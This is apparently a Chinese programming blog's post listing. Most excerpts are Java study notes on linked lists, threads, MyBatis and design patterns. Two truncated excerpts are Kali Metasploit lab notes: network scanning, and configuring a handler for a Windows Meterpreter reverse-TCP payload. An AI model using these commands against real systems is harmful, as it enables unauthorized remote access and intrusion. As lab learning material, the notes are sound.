- 博客(13)
- 收藏
- 关注
原创 Mybatis-Spring中的小细节
mybatis-spring spring使用引用配置文件方式读取配置连接MySQL数据库(8.0+) **注意:**在配置文件中username必须不能是这个,涉及权限问题会报如下错误(‘ZAW’@‘localhost’ (using password: org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.exceptions.PersistenceException: Error quer
2021-04-28 19:38:07 94
原创 Java栈实现单链表反转
public void ReverseLink(){ if (head.next == null) { return; } LinkHeadNode temp = head; Stack<LinkHeadNode> stack = new Stack<LinkHeadNode>(); while (temp != null){ stack.push(temp
2021-04-01 09:38:23 256
原创 查找单链表倒数第K个元素
—>双指针,快指针fast与慢指针slow,查找倒数k则在fast领先slow k步然后再同时移动,则在fast为空时slow则是K所对应的 public void FindK(int K){ LinkHeadNode fast = head;//快指针 LinkHeadNode slow = head;//慢指针 for (int i = 0; i < K; i++) { //快指针fast先移动K步 fast = f
2021-03-31 00:20:29 158
原创 五道String算法题
算法1:模拟trim方法去掉字符串首尾空格 package StringTest; import org.junit.Test; /**算法1: * 模拟trim方法去掉字符串首尾空格 * * @author ZAW */ public class StringTrimTest { @Test public void Testtrim(){ String str = " bmfd lb "; System.out.println(Trim(s
2021-03-29 23:39:30 149
原创 创建线程方法3:实现Callable接口
如何理解实现Callable接口的方式创建多线程比实现Runnable接口创建多线程方式强大? 1.call方法可以返回值 2.call方法可以抛出异常,被外面的操作捕获,获取异常信息 3.Callable支持泛型 public class CallableTest { public static void main(String[] args) throws ExecutionException, InterruptedException { // 3.创建Callable接口实
2021-03-27 23:13:41 144
原创 生产者消费者问题
分析: *是否有多线程:生产者,消费者两条 是否共享数据:商品 解决:线程同步机制 public class ProductTest { public static void main(String[] args) { Clerk clerk = new Clerk(); Producer p1 = new Producer(clerk); p1.setName("生产者1"); Customer c1 = new Customer
2021-03-27 23:12:34 107
原创 线程安全———syschronized(抢票)
synchronized(锁){ 包住操作共享资源的代码 } 同步代码 加锁,锁可以是任何一个对象,但是线程必须共用同一把锁 public class ThreadTamp { public static void main(String[] args) { Windows windows = new Windows(); Thread thread1 = new Thread(windows); Thread thread2 = new Thread
2021-03-25 22:58:27 103
原创 线程初学
start()启动线程,调用当前线程的run run()通常需要重写此类方法,将需要执行的操作放在这里 currentThread()返回执行当前代码的线程 getName()返回当前线程的名字 setName()设置当前线程的名字 yield()让出CPU执行权,让CPU随机再调度 join()在线程A中调用B的join()方法此时线程A进入阻塞状态,直到B执行完A才结束阻塞状态,等待CPU分配资源 stop()停止当前线程,不建议使用 sleep(longtime)让线程休眠longtime时间,单位毫
2021-03-24 22:08:04 77
原创 拆箱与装箱
拆箱与装箱 // 自动装箱与拆箱 @Test public void test2(){ // 自动装箱 int num2 =10; Integer in1 = num2; System.out.println(in1.toString()); // 自动拆箱 int in2 = in1; System.out.println(in2); } @Test //
2021-03-23 20:22:21 83
原创 单例设计模式
单例设计模式 1.在软件系统中采取一定方法对某个类只存在一个对象实例 2.实现的方法: 构造器私有化 静态类对象 静态方法返回类对象 区分懒汉式饿汉式: 懒汉式:延迟对象加载 目前写法线程不安全 -->多线程改进 饿汉式:先造好了对象使得加载时间长 线程安全 main方法 public static void main(String[] args) { Bank bank1 = Bank.getInstance(); Order order1 = Order.get
2021-03-23 20:19:56 60
原创 JAVA(面向对象)------多态
JAVA(面向对象)------多态 多态: 例子: Person p = new Man(); >>Person是父类,Man是子类 –>> 父类的引用指向子类的对象 当调用子类的同名方法时实际是子类重写的方法————>虚拟方法调用 但是不能调用子类所特有的方法、属性 编译时p是Person类型,运行时是子类Man对象 Man p1 = (Man)p; -->向下转换 可能报ClassCaseException异常 进行转型时为了不报异常可用insta
2021-03-23 20:04:13 77
原创 Kali Metasploit 漏洞利用(1)
实验环境 KaLi 与win7 ‘ kali ip =192.168.0.109 win7 ip =192.168.85.130 漏洞利用 1.启动Metasploit msfconsole 2.漏洞 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp Show options 将目标IP填进去 ...
2020-02-29 15:45:26 274
原创 Kali Metasploit 信息收集(1)
service postgresql start ——开启数据库 启动Metasploit(msfconsole) use auxiliary/scanner/ ———— 辅助模块 metasploit自带的nmap扫描 db_nmap -sV 192.168.0.0/24 结果 auxiliary扫描模块 arp扫描 use auxiliary/scanner/discover...
2020-02-17 17:13:23 223
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人